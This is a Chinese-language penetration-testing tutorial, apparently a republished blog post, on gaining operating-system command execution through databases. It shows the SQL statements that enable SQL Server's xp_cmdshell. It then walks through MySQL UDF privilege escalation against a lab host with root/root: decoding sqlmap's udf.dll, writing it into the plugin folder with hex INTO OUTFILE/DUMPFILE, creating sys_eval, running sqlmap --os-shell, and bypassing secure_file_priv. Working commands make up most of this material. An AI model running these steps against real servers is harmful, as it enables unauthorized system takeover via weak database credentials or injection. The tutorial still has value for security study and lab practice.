您好,登錄后才能下訂單哦!
這篇文章將為大家詳細(xì)講解有關(guān)如何分析數(shù)據(jù)庫系統(tǒng)命令執(zhí)行,文章內(nèi)容質(zhì)量較高,因此小編分享給大家做個(gè)參考,希望大家閱讀完這篇文章后對相關(guān)知識有一定的了解。
在滲透中關(guān)于數(shù)據(jù)庫的利用主要分為兩種:
第一種是sql注入漏洞,配合網(wǎng)站的絕對路徑可以直接getshell。
第二種數(shù)據(jù)庫弱口令,如phpmyadmin弱口令,數(shù)據(jù)庫連接弱口令。
在我最初的時(shí)候,對于數(shù)據(jù)庫弱口令和sql注入的利用相同,都是在dba權(quán)限下,配合網(wǎng)站絕對路徑寫shell。因?yàn)椴⒉皇敲看味寄苷业浇^對路徑,所以經(jīng)常出現(xiàn)登錄了數(shù)據(jù)庫卻拿不到shell的情況。
sql server執(zhí)行系統(tǒng)命令比較簡單,直接使用xp_cmdshell組件
開啟cmdshell組件。
exec sp_configure 'show advanced options',1;reconfigure;exec sp_configure 'xp_cmdshell',1;reconfigure;
執(zhí)行命令
exec master.dbo.xp_cmdshell 'whoami';
這也就是為什么sql server注入點(diǎn)在使用sqlmap進(jìn)行os-shell時(shí),直接返回命令行執(zhí)行。
mysql執(zhí)行系統(tǒng)命令適用于直接連接數(shù)據(jù)庫的情況下,理論上講sqlmap的sql-shell也可行,但是在實(shí)際利用中對SQL注入點(diǎn)的類型,執(zhí)行語句,語句長度都有很大的限制。
本次靶機(jī)ip:172.16.86.161 root/root
思路:采用udf提權(quán)方式,上傳udf.dll文件。
首選需要確定mysql的版本號,以及安裝目錄。
select @@version; 查看mysql版本
select @@basedir; 查看mysql安裝路徑
udf.dll存放位置分為2種情況。
1、Mysql版本大于5.1
udf.dll文件必須放在MySQL安裝目錄的lib\plugin文件夾下。
2、Mysql版本小于5.1:
win 2000 的服務(wù)器,需要將 udf.dll 文件導(dǎo)到 C:\Winnt\udf.dll 下。
win2003 服務(wù)器,要將 udf.dll 文件導(dǎo)出在 C:\Windows\udf.dll 下。
靶機(jī)的mysql版本號為 5.5.62大于5.1因此要把udf.dll文件放在MySQL安裝目錄的lib\plugin文件夾下。
sqlmap中自帶了udf.dll文件,放在data/udf中,文件經(jīng)過異或編碼無法直接使用,可以使用sqlmap/extra/cloak目錄下的cloak.py文件進(jìn)行解碼。
在準(zhǔn)備好udf.dll文件后,下一步的目標(biāo)是寫入文件到指定的目錄下,我實(shí)驗(yàn)了3種寫入方法。
使用notepad++打開udf文件。
復(fù)制內(nèi)容進(jìn)行16進(jìn)制編碼。
在數(shù)據(jù)庫中執(zhí)行:
select 16進(jìn)制編碼 into outfile 'C:/Program Files/MySQL/MySQL Server 5.5/lib/plugin/udf.dll';
創(chuàng)建sys_eval
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
成功獲取system執(zhí)行權(quán)限。
select sys_eval('');
建立表保存16進(jìn)制內(nèi)容。
set @my_udf=concat('',dll的16進(jìn)制);create table udf_data(data LONGBLOB);
將my_udf的內(nèi)容插入表udf_data中。
insert into udf_data values("");update udf_data set data = @my_udf;
將內(nèi)容導(dǎo)出到文件。
select data from udf_data into DUMPFILE 'C:/Program Files/MySQL/MySQL Server 5.5/lib/plugin/udf.dll';
創(chuàng)建sys_eval,成功執(zhí)行系統(tǒng)命令。
create function sys_eval returns string soname 'udf.dll'; select sys_eval('whoami');
用完之后刪除
drop function sys_eval;
sqlmap自帶了udf功能。
sqlmap.py -d "mysql://root:root@172.16.86.161:3306/mysql" --os-shell
直接os-shell執(zhí)行系統(tǒng)命令。
1、mysql lib目錄下的plugin文件夾在實(shí)戰(zhàn)中可能不存在。需要自己手動創(chuàng)建,可以使用NTFS數(shù)據(jù)流創(chuàng)建,但成功率較低。
select 'test' into dumpfile 'D:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
2 、高版本的mysql會有一個(gè)secure-file-priv參數(shù)限制,需要更改數(shù)據(jù)庫my.ini文件配置,并且重啟數(shù)據(jù)庫。
secure_file_priv=""
關(guān)于如何分析數(shù)據(jù)庫系統(tǒng)命令執(zhí)行就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,可以學(xué)到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。